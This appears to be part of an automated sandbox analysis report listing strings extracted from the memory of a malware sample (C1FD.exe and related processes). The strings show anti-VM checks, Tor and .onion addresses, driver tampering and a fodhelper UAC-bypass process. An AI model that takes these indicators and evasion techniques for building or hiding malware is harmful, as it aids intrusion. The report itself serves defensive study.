Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: , i = , not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.local.onion/%d-%s370000390625:31461<-chanAcceptAnswerArabicAugustBUTTONBasic BitBltBrahmiCANCELCONIN$CancelCarianChakmaCommonCookieCopticExpectFltMgrFormatFridayGOAWAYGetACPGothicHangulHatranHebrewHyphenKaithiKhojkiLengthLepchaLockedLycianLydianMondayPADDEDPcaSvcPragmaRejangSCHED STREETServerStringSundaySyriacTai_LeTangutTeluguThaanaTypeMXTypeNSUTC+12UTC+13UTC-02UTC-08UTC-09UTC-11VBoxSFWINDIRWanchoWinMonWinmonX25519Yezidi[]byte\??\%s\csrss\ufffd
Source: C1FD.exe, 0000002D.00000002.4122666274.000000000C19C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice.exe
Source: C1FD.exe, 0000002D.00000002.4115076867.000000000C072000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: !This program cannoHKEY_USERS\S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\TestAppHKEY_USERS\S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80https://statscreate.org\\.\pipe\VBoxMiniRdDN\\.\pipe\VBoxTrayIPCSELECT BuildNumber FROM Win32_OperatingSystem
Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: and got= max= ms, ptr tab= top=%s %q%s %s%s%d%s/%s%s:%d%s=%s"'&+0330+0430+0530+0545+0630+0845+1030+1245+1345, fp:-0930.avif.html.jpeg.json.wasm.webp1.4.2156253.2.250001500025000350004500055000650512560015600278125:**@:path<nil>AdlamAprilBamumBatakBuhidCall ClassCountDograECDSAErrorFlagsFoundGetDCGreekHTTP/KhmerLatinLimbuLocalLstatMarchNONCENushuOghamOriyaOsageP-224P-256P-384P-521PGDSEREALMRangeRealmRunicSHA-1STermTakriTamilTypeAUSTARUUID=\u202] = (allowarrayatimebad nchdirchmodclosecsrssctimedeferfalsefaultfilesfloatgcinggeoipgnamegscanhchanhostshttpsimap2imap3imapsinit int16int32int64matchmheapmkdirmonthmtimentohspanicparsepgdsepop3sproxyrangermdirrouterune scav schedsdsetsleepslicesockssse41sse42ssse3sudogsweeptext/tls: torrctotaltraceuint8unameusageuser=utf-8valuevmusbvmx86write B -> Value addr= alloc base code= ctxt: curg= free goid jobs= list= m->p= max= min= next= p->m= prev= span=% util%s.exe%s.sys%s: %s(...)
Source: C1FD.exe, 0000002D.00000002.4112737827.0000000002BD7000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: tVMSrvcs\|!
Source: explorer.exe, 00000001.00000000.1693759664.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: fodhelper.exe, 00000019.00000002.2188262136.0000015B3D6A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: svchost.exe:combase_windows_windows_RPCRT4_RPCRT4_RPCRT4_combase_RPCRT4_combase_combase_combase_combase_combase_combase_combase_RAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: C1FD.exe, 0000002D.00000002.4122666274.000000000C19C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: c1fd.exed5c5.tmpvboxtray.exe
Source: C1FD.exe, 00000011.00000002.2213490486.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000003.2160333190.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 100-continue127.0.0.1:%d127.0.0.1:53152587890625762939453125AUTHENTICATEBidi_ControlCIDR addressCONTINUATIONCfgMgr32.dllCoCreateGuidCoInitializeContent TypeContent-TypeCookie.ValueCreateEventWCreateMutexWDeleteObjectECDSA-SHA256ECDSA-SHA384ECDSA-SHA512ErrUnknownPCFindNextFileGetAddrInfoWGetConsoleCPGetLastErrorGetLengthSidGetProcessIdGetStdHandleGetTempPathWGetUserGeoIDGlobalUnlockGlobal\csrssI'm a teapotInstAltMatchJoin_ControlLittleEndianLoadLibraryWLoadResourceLockResourceMax-ForwardsMeetei_MayekMime-VersionMulti-StatusNot ExtendedNot ModifiedNtCreateFileOpenServiceWPUSH_PROMISEPahawh_HmongRCodeRefusedRCodeSuccessReadConsoleWReleaseMutexReportEventWResumeThreadRevertToSelfRoInitializeS-1-5-32-544SERIALNUMBERSelectObjectServer ErrorSetEndOfFileSetErrorModeSetStdHandleSora_SompengSyloti_NagriSysStringLenThread32NextTor mode setTransmitFileUnauthorizedUnlockFileExVBoxTray.exeVariantClearVirtualAllocVirtualQueryWinmon32.sysWinmon64.sysWintrust.dllX-ImforwardsX-Powered-By[[:^ascii:]]\/(\d+)-(.*)\\.\WinMonFSabi mismatchadvapi32.dllaltmatch -> anynotnl -> bad flushGenbad g statusbad g0 stackbad recoverybad value %dbootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOcountry_codedse disableddumping heapend tracegc
Source: C1FD.exe, 0000002D.00000002.4122666274.000000000C19C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 826e.exe8fee.exevboxtray.exe
Source: explorer.exe, 00000001.00000000.1690421615.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000001.00000000.1694245342.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: C1FD.exe, 0000002D.00000002.4122666274.000000000C18A000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4122666274.000000000C19C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray.exe
Source: C1FD.exe, 0000002D.00000002.4122666274.000000000C19C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: d5c5.exed5c5.tmpvboxtray.exe
Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: RTP.exeSYSTEMROOT=SetFileTimeSignWritingSoft_DottedSystemDriveTTL expiredUninstallerVBoxServiceVMUSrvc.exeVariantInitVirtualFreeVirtualLockWSARecvFromWarang_CitiWhite_SpaceWinDefender[:^xdigit:]\dsefix.exeadditionalsalarm clockapplicationassistQueueauthoritiesbad addressbad argSizebad m valuebad messagebad timedivbitcoins.skbroken pipecampaign_idcgocall nilclobberfreeclosesocketcombase.dllcreated by crypt32.dlle2.keff.orgembedded/%sexternal IPfile existsfinal tokenfloat32nan2float64nan1float64nan2float64nan3gccheckmarkgeneralizedget CDN: %wgetpeernamegetsocknameglobalAllochttp2clienthttp2serverhttps_proxyi/o timeoutlocal errormSpanManualmethodargs(minTrigger=move %s: %wmswsock.dllnetpollInitnext servernil contextopera-proxyorannis.comout of syncparse errorprocess: %sreflect.SetreflectOffsretry-afterruntime: P runtime: g runtime: p scheddetailsechost.dllsecur32.dllservice: %sshell32.dllshort writestack tracestart proxytaskmgr.exetls: alert(tracealloc(traffic updunreachableuserenv.dllversion.dllversion=195wininet.dllwup_process (sensitive) B (
Source: explorer.exe, 00000001.00000000.1690421615.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000001.00000000.1691646439.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: GetActiveObjectGetAdaptersInfoGetCommTimeoutsGetCommandLineWGetFirmwareTypeGetProcessTimesGetSecurityInfoGetStartupInfoWGlobal\qtxp9g8wHanifi_RohingyaICE-CONTROLLINGIdempotency-KeyImpersonateSelfInstall failureIsWindowUnicodeIsWindowVisibleIsWow64Process2Length RequiredLoadLibraryExALoadLibraryExWNot ImplementedNtSuspendThreadOpenThreadTokenOther_LowercaseOther_UppercasePKCS1WithSHA256PKCS1WithSHA384PKCS1WithSHA512Partial ContentPostQuitMessageProcess32FirstWPsalter_PahlaviQueryDosDeviceWRegCreateKeyExWRegDeleteValueWRequest TimeoutRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockScheduledUpdateSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUnescaped quoteUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC]
Source: C1FD.exe, 00000011.00000002.2213490486.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000003.2160333190.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SafeArrayCopyDataSafeArrayCreateExSentence_TerminalSysAllocStringLenSystemFunction036Too Many RequestsTransfer-EncodingUnexpected escapeUnified_IdeographUnknown AttributeVGAuthService.exeWSAEnumProtocolsWWTSQueryUserTokenWrite after CloseWrong CredentialsX-Idempotency-Key\System32\drivers\\.\VBoxMiniRdrDN
Source: C1FD.exe, 0000002D.00000002.4115076867.000000000C012000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware: service: vmci
Source: C1FD.exe, 0000002D.00000002.4122666274.000000000C18A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: winstore.app.exevboxtray.exe
Source: C1FD.exe, 0000002D.00000002.4122666274.000000000C18A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: [system process]vboxtray.exe
Source: C1FD.exe, 00000011.00000002.2213490486.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000003.2160333190.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ><'\'') = ) m=+Inf-Inf.bat.cmd.com.css.exe.gif.htm.jpg.mjs.pdf.png.svg.sys.xml0x%x1.1110803125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCDN=CESTChamDATADashDataDateEESTEULAEtagFromGOGCGoneHostJulyJuneLEAFLisuMiaoModiNZDTNZSTNameNewaPINGPOSTPathQEMUROOTSASTSTARSendStatTempThaiTypeUUID"%s"\rss\smb\u00
Source: C1FD.exe, 0000002D.00000002.4122666274.000000000C18E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: [System Process]fontdrvhost.exefontdrvhost.exeSearchApp.exesmartscreen.exeWinStore.App.exeSgrmBroker.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exePRingTone.exeSearchApp.exesmartscreen.exeWinStore.App.exeSgrmBroker.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeS-1-5-18CreateToolhelp32SnapshotRegistrysmss.exedwm.exeStartMenuExperienceHost.exestartmenuexperiencehost.exeApplicationFrameHost.exe76D5.exe826E.exe8FEE.exe933A.exeD5C5.exeC1FD.exeD5C5.tmpD5C5.exeD5C5.tmpC1FD.exeVBoxSFStartMenuExperienceHost.exestartmenuexperiencehost.exeApplicationFrameHost.exe76D5.exe826E.exe8FEE.exe933A.exeD5C5.exeC1FD.exeD5C5.tmpD5C5.exe
Source: C1FD.exe, 0000002D.00000002.4115076867.000000000C012000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: service: vmci8258259
Source: C1FD.exe, 0000002D.00000002.4122666274.000000000C19C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice.exeoiacowbook.exevboxtray.exevboxservice.exeoiacowbook.exevboxtray.exevboxservice.exeoiacowbook.exevboxtray.exevboxservice.exeoiacowbook.exevboxtray.exevboxservice.exeoiacowbook.exevboxtray.exevboxservice.exeoiacowbook.exevboxtray.exevboxservice.exeoiacowbook.exevboxtray.exevboxservice.exeoiacowbook.exevboxtray.exevboxservice.exeoiacowbook.exevboxtray.exevboxservice.exeoiacowbook.exevboxtray.exevboxservice.exeoiacowbook.exevboxtray.exevboxservice.exeoiacowbook.exevboxtray.exevboxservice.exeoiacowbook.exevboxtray.exevboxservice.exeoiacowbook.exevboxtray.exevboxservice.exeoiacowbook.exevboxtray.exevboxservice.exeoiacowbook.exevboxtray.exevboxservice.exe76D5.exevboxtray.exevboxservice.exe826E.exe826e.exe8fee.exevboxtray.exevboxservice.exe8FEE.exevboxtray.exevboxservice.exe933A.exe933a.exed5c5.exevboxtray.exevboxservice.execsrss.exevboxtray.exevboxservice.exeD5C5.exevboxtray.exevboxservice.exeC1FD.exec1fd.exed5c5.tmpvboxtray.exevboxservice.exeD5C5.tmpvboxtray.exevboxservice.execsrss.exevboxtray.exevboxservice.exeD5C5.exed5c5.exed5c5.tmpvboxtray.exevboxservice.exeD5C5.tmpvboxtray.exevboxservice.exeWmiPrvSE.exewmiprvse.exevboxtray.exevboxservice.exePRingTone.exepringtone.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exeC1FD.exec1fd.exe$
Source: 8FEE.exe, 0000000C.00000002.2287868787.0000000001A7F000.00000004.00000020.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4108875280.0000000000C00000.00000004.00000020.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2210196134.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4112561096.0000000000DE7000.00000004.00000020.00020000.00000000.sdmp, csrss.exe, 0000001E.00000002.4109432454.0000000000C00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C1FD.exe, 00000011.00000002.2212474597.00000000029B5000.00000040.00000020.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4113310706.00000000028B7000.00000040.00000020.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4112737827.0000000002BD7000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: \\.\HGFS`
Source: C1FD.exe, 0000002D.00000002.4115076867.000000000C00E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 71b0617160407045b0c1704S-1-5-21-2246122658-3693405117-2476756634-1002VBoxVideocsrss.exewininit.execsrss.exewinlogon.exeservices.exelsass.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exespoolsv.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exeWmiPrvSE.exesvchost.exevm detected: vmware: service: vmciMachineGuid9e146be9-c76a-4720-bcdb-53011b87bd06ExecQuerySELECT BuildNumber FROM Win32_OperatingSystem_NewEnumBuildNumbervm detected: vmware: service: vmci
Source: explorer.exe, 00000001.00000000.1693759664.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000001.00000000.1693759664.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000001.00000000.1694245342.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: C1FD.exe, 0000002D.00000002.4112737827.0000000002BD7000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: vmhgfsP
Source: C1FD.exe, 0000002D.00000002.4115076867.000000000C00E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: =$T%SE'@2=(31230d161c143d24542553452740323d28http://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionhttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionS-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\TestAppS-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80http://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionS-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80FirstInstallDateS-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80\\.\VBoxMiniRdrDNMemory CompressionOfficeClickToRun.exeTrustedInstaller.exe9e146be9-c76a-4720-bcdb-53011b87bd06
Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Not ImplementedNtSuspendThreadOpenThreadTokenOther_LowercaseOther_UppercasePKCS1WithSHA256PKCS1WithSHA384PKCS1WithSHA512Partial ContentPostQuitMessageProcess32FirstWPsalter_PahlaviQueryDosDeviceWRegCreateKeyExWRegDeleteValueWRequest TimeoutRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockScheduledUpdateSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUnescaped quoteUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC]
Source: C1FD.exe, 0000002D.00000002.4115076867.000000000C012000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: service: vmci
Source: PRingTone.exe, 0000002A.00000002.4106964087.0000000000707000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dllauthorizationbad flushGen bad map statebtc.cihar.combtc.xskyx.netcache-controlcontent-rangecouldn't polldalTLDpSugct?data is emptydouble unlockemail addressempty integerexchange fullfatal error: gethostbynamegetservbynamegzip, deflateif-none-matchignoring fileimage/svg+xmlinvalid ASN.1invalid UTF-8invalid base kernel32.dllkey expansionlame referrallast-modifiedlevel 3 resetload64 failedmaster secretmin too largename is emptynil stackbasenot a Float32open file: %wout of memoryparallels: %wparsing time powrprof.dllprl_tools.exeprofMemActiveprofMemFutureread EULA: %wrebooting nowruntime: seq=runtime: val=service stateset event: %wsigner is nilsocks connectsrmount errortimer expiredtraceStackTabtrailing dataunimplementedunsupported: user canceledvalue method virtualpc: %wxadd64 failedxchg64 failed}
Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: unixpacketunknown pcuser-agentuser32.dllvmusbmousevmware: %wws2_32.dll of size (targetpc= , plugin: ErrCode=%v KiB work, bytes ...
Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VersionVirtualWSARecvWSASend"%s" %stypes value=abortedalt -> answersany -> booleancharsetchunkedcmd.execonnectconsolecpu: %scpuprofderiveddriversexpiresfloat32float64forcegcgctracehead = http://invalidlog.txtlookup messageminpc= nil keynop -> number pacer: panic: readdirrefererrefreshrequestrunningserial:server=signal svc_versyscalltor.exetraileruintptrunknownupgradeversionvmmousevpcuhubwaitingwindowswsarecvwsasendwup_verxen: %wxennet6 bytes, data=%q etypes incr=%v is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= ping=%q pointer stack=[ status %!Month(%02d%02d%s %s:%d%s: 0x%x-cleanup2.5.4.102.5.4.112.5.4.1748828125?4#?'1#0AcceptExAcceptedAllocateAltitudeArmenianBAD RANKBalineseBopomofoBugineseCancelIoCherokeeClassANYConflictContinueCurveID(CyrillicDNS nameDSA-SHA1DecemberDefenderDeleteDCDuployanEULA.txtEqualSidEthiopicExtenderFebruaryFirewallFullPathGeorgianGetOEMCPGoStringGujaratiGurmukhiHTTP/1.1HTTP/2.0HiraganaInstFailInstRuneIsWindowJavaneseKatakanaKayah_LiLIFETIMELinear_ALinear_BLocationLsaCloseMD5+SHA1MahajaniNO_ERRORNO_PROXYNovemberOl_ChikiPRIORITYPROGRESSParseIntPersoconPhags_PaQuestionReadFileReceivedSETTINGSSHA1-RSASHA3-224SHA3-256SHA3-384SHA3-512SOFTWARESaturdaySetEventSystem32TagbanwaTai_ThamTai_VietThursdayTifinaghTypeAAAATypeAXFRUSERHASHUSERNAMEUgariticVBoxWddmWSAIoctlWinmonFSWmiPrvSE[::1]:53[:word:][signal \\.\HGFS\\.\vmcistack=[_NewEnum_gatewayacceptexaddress bad instcgocheckcontinuecs deadlockdefault:dial: %wdnsquerydurationeax ebp ebx ecx edi edx eflags eip embeddedesi esp execwaitexporterf is nilfinishedfs gs hijackedhttp/1.1https://if-matchif-rangeinfinityinjectorinvalid linkpathlocationmac_addrmountvolmsvmmoufno anodeno-cacheno_proxypollDescreadfromrecvfromreflect.runnableruntime.rwmutexRrwmutexWscavengeshutdownstrconv.taskkilltor_modetraceBuftrigger=unixgramunknown(usernamevmmemctlvmx_svgawalk: %wwsaioctlwuauservx509sha1yuio.top (forced) B exp.) B work ( blocked= in use)
Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: m=] = ] n=allgallparchasn1avx2basebindbitsbmi1bmi2boolcallcap cas1cas2cas3cas4cas5cas6chandatedeaddialdoneermsetagethmfailfileflagfromftpsfuncgziphosthourhttpicmpidleigmpint8itabjsonkindlinkmdnsnullopenpathpipepop3quitreadrootsbrkseeksid=sizesmtpsse3tag:tcp4texttruetypeudp4uintunixuuidvaryvmcixn-- -%s (at ...
Source: explorer.exe, 00000001.00000000.1690421615.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: C1FD.exe, 0000002D.00000002.4122666274.000000000C18A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 2023/12/19 03:22:54 vm detected: vmware: service: vmci
Source: C1FD.exe, 0000002D.00000002.4122666274.000000000C19C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 933a.exed5c5.exevboxtray.exe

Source: C:\Users\user\AppData\Local\Temp\933A.exe	API call chain: ExitProcess graph end node	graph_13-37499
Source: C:\Users\user\AppData\Local\Temp\933A.exe	API call chain: ExitProcess graph end node	graph_13-37436
Source: C:\Users\user\AppData\Local\Temp\933A.exe	API call chain: ExitProcess graph end node	graph_13-37360

Source: C:\Users\user\Desktop\NBHEkIKDCr.exe

System information queried: ModuleInformation

Jump to behavior

